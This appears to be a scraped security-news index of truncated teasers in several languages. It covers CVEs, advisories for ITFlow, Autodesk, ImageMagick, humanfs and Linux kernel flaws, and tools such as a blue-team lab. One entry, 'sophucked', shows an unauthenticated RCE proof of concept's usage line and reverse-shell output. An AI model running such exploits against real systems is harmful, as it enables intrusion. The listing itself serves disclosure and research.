CVE-2022-24449

CVE-2022-24449 Solar Appscreener XXE Descripción sugerida Se encontró un problema en la herramienta SAST Solar AppScreener hasta la versión 3.10.4. Un actor no autorizado podría explotar los hosts afectados donde esté instalada la versión vulnerable, subiendo archivos XML especialmente manipulado...

CVE-2026-54597

CVE-2026-54597 - ITFlow 基于时间的盲 SQL 注入 严重性： 高 公告： GHSA-m63v-j7fw-hq2h 影响： ITFlow（agent/ajax.php — expires 参数） 修复提交： 63d8691 作者： iltosec 摘要 ITFlow 的分享链接生成处理器中存在一个基于时间的盲 SQL 注入漏洞。expires GET 参数在未进行数值验证的情况下直接传入 MySQL 的 INTERVAL 表达式，使认证用户可以窃取数据库中的任意数据。 完整文章：CVE-2026-54597：ITFlow 中认证用户的基于时间的盲 SQL 注入 使用...

Pentest-Bookmarkz

Pentest Bookmarks List Sofiane Hamlaoui Ver más en Google : https://g.co/kgs/FUZgoXi Medios Hacker Blogs Hay MUCHOS blogs de pentesting, estos son los que monitoreo constantemente y valoro en el trabajo de pruebas del día a día. Carnal 0wnage - atom McGrew Security GNUCITIZEN Darknet - The...

CVE-2026-14255

A maliciously crafted IFC file , when parsed by certain Autodesk products , can trigger an uncontrolled recursion flaw, causing the application to terminate unexpectedly and resulting in a denial-of-service . Exploitation is local and requires the victim to open the crafted file; no privileges ar...

EUVD-2026-70051

A maliciously crafted IFC file, when parsed through certain Autodesk products, can trigger an Uncontrolled Recursion vulnerability. A malicious actor may leverage this vulnerability to cause the application to terminate unexpectedly, resulting in a denial-of-service. Exploitation requires a user ...

CVE-2026-14255 IFC File Parsing Uncontrolled Recursion in Certain Autodesk Products

A maliciously crafted IFC file, when parsed through certain Autodesk products, can trigger an Uncontrolled Recursion vulnerability. A malicious actor may leverage this vulnerability to cause the application to terminate unexpectedly, resulting in a denial-of-service. Exploitation requires a user ...

CVE-2026-14255 IFC File Parsing Uncontrolled Recursion in Certain Autodesk Products

A maliciously crafted IFC file, when parsed through certain Autodesk products, can trigger an Uncontrolled Recursion vulnerability. A malicious actor may leverage this vulnerability to cause the application to terminate unexpectedly, resulting in a denial-of-service. Exploitation requires a user ...

BlueTeam.Lab

BlueTeam.Lab 目的 本项目包含一组 Terraform 和 Ansible 脚本，用于搭建一个编排好的蓝队实验室（BlueTeam Lab）。该项目的目标是为红队和蓝队提供部署临时检测实验室的能力，以便在最新的 Windows 环境中测试各种攻击和取证痕迹，并最终以“类似 SOC”的视角查看生成的数据。 注意：本实验室故意设计为不安全。请勿将此系统连接到您关心的任何网络。 实验室布局 先决条件 您的系统需要安装一些功能才能使用此设置。 root@kitploit: 步骤 1 - 安装 Azure CLI。详情请参阅...

CVE-2020-0683

CVE-2020-0683 原始 PoC 已提交至 MSRC。 已分配至 CVE-2020-0683 - Windows Installer 权限提升 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0683 适用于 Visual Studio C++ 2017 的源代码 请阅读 PDF 文件，其中描述了所有发现和复现步骤。 在 "binMsiExploit" 文件夹中，你会找到可执行的漏洞利用程序 exe。 演示 如果你喜欢，请我喝杯啤酒 ;-...

sophucked

sophucked CVE-2020-25223 RCE PoC，获取反向 Shell。无需认证。快速实现，以统一一些威胁磁铁。 使用示例： root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 在端口 80 上启动处理程序 + 发送回调至 x.x.x.x:80 + 来自 x.x.x.x 的连接 + 弹出你的 Shell！ bash: 此 Shell 中无作业控制 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id...

temcrypt

The Next-gen Encryption Try temcrypt on the Web → temcrypt SDK Focused on protecting highly sensitive data, temcrypt is an advanced multi-layer data evolutionary encryption mechanism that offers scalable complexity over time, and is resistant to common brute force attacks. You can create your own...

isowall

isowall This is a mini-firewall that completely isolates a target device from the local network. This is for allowing infected machines Internet access, but without endangering the local network. Building This project depends upon libpcap, and of course a C compiler. On Debian, the following shou...

GHSA-CVHV-G4RQ-3HMW ImageMagick: Memory Leak when providing invalid options to the cli

A memory leak is possible when invalid options are passed to the cli magick...

ImageMagick: Memory Leak when providing invalid options to the cli

A memory leak is possible when invalid options are passed to the cli magick...

humanfs: Recursive copy follows symlinked files and copies data from outside the source tree

Summary @humanfs/node does not treat symlinks as a separate case during copy operations. A symlink placed inside an attacker-controlled source tree can make copyAll read and copy the contents of any file readable by the process, even when that file is outside the directory being copied. Details T...

GHSA-P498-V437-472G humanfs: Recursive copy follows symlinked files and copies data from outside the source tree

Summary @humanfs/node does not treat symlinks as a separate case during copy operations. A symlink placed inside an attacker-controlled source tree can make copyAll read and copy the contents of any file readable by the process, even when that file is outside the directory being copied. Details T...

kernel: netfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry

A flaw was found in the Linux kernel's netfilter component, specifically within the nftsetpipapoavx2 AVX2 matching functions. This vulnerability occurs when a pipapo set with an 'ipv4 . port' key is reloaded. Due to incorrect masking, the system may erroneously identify non-matching elements as...

kernel: Kernel: Privilege escalation or denial of service in nf_tables via inverted element activity check

A flaw was found in the Linux kernel's nftables component. A logic bug in nftmapcatchallactivate causes an inverted element activity check during the abort path of a failed transaction. This can lead to a use-after-free vulnerability, as catchall verdict elements may still reference a freed chain...

kernel: fs/smb/client: fix out-of-bounds read in cifs_sanitize_prepath

A flaw was found in the Linux kernel's CIFS Common Internet File System client. When the cifssanitizeprepath function processes specially crafted input, such as an empty string or a string containing only delimiters, it can attempt to read data beyond its allocated memory buffer. This out-of-boun...

kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...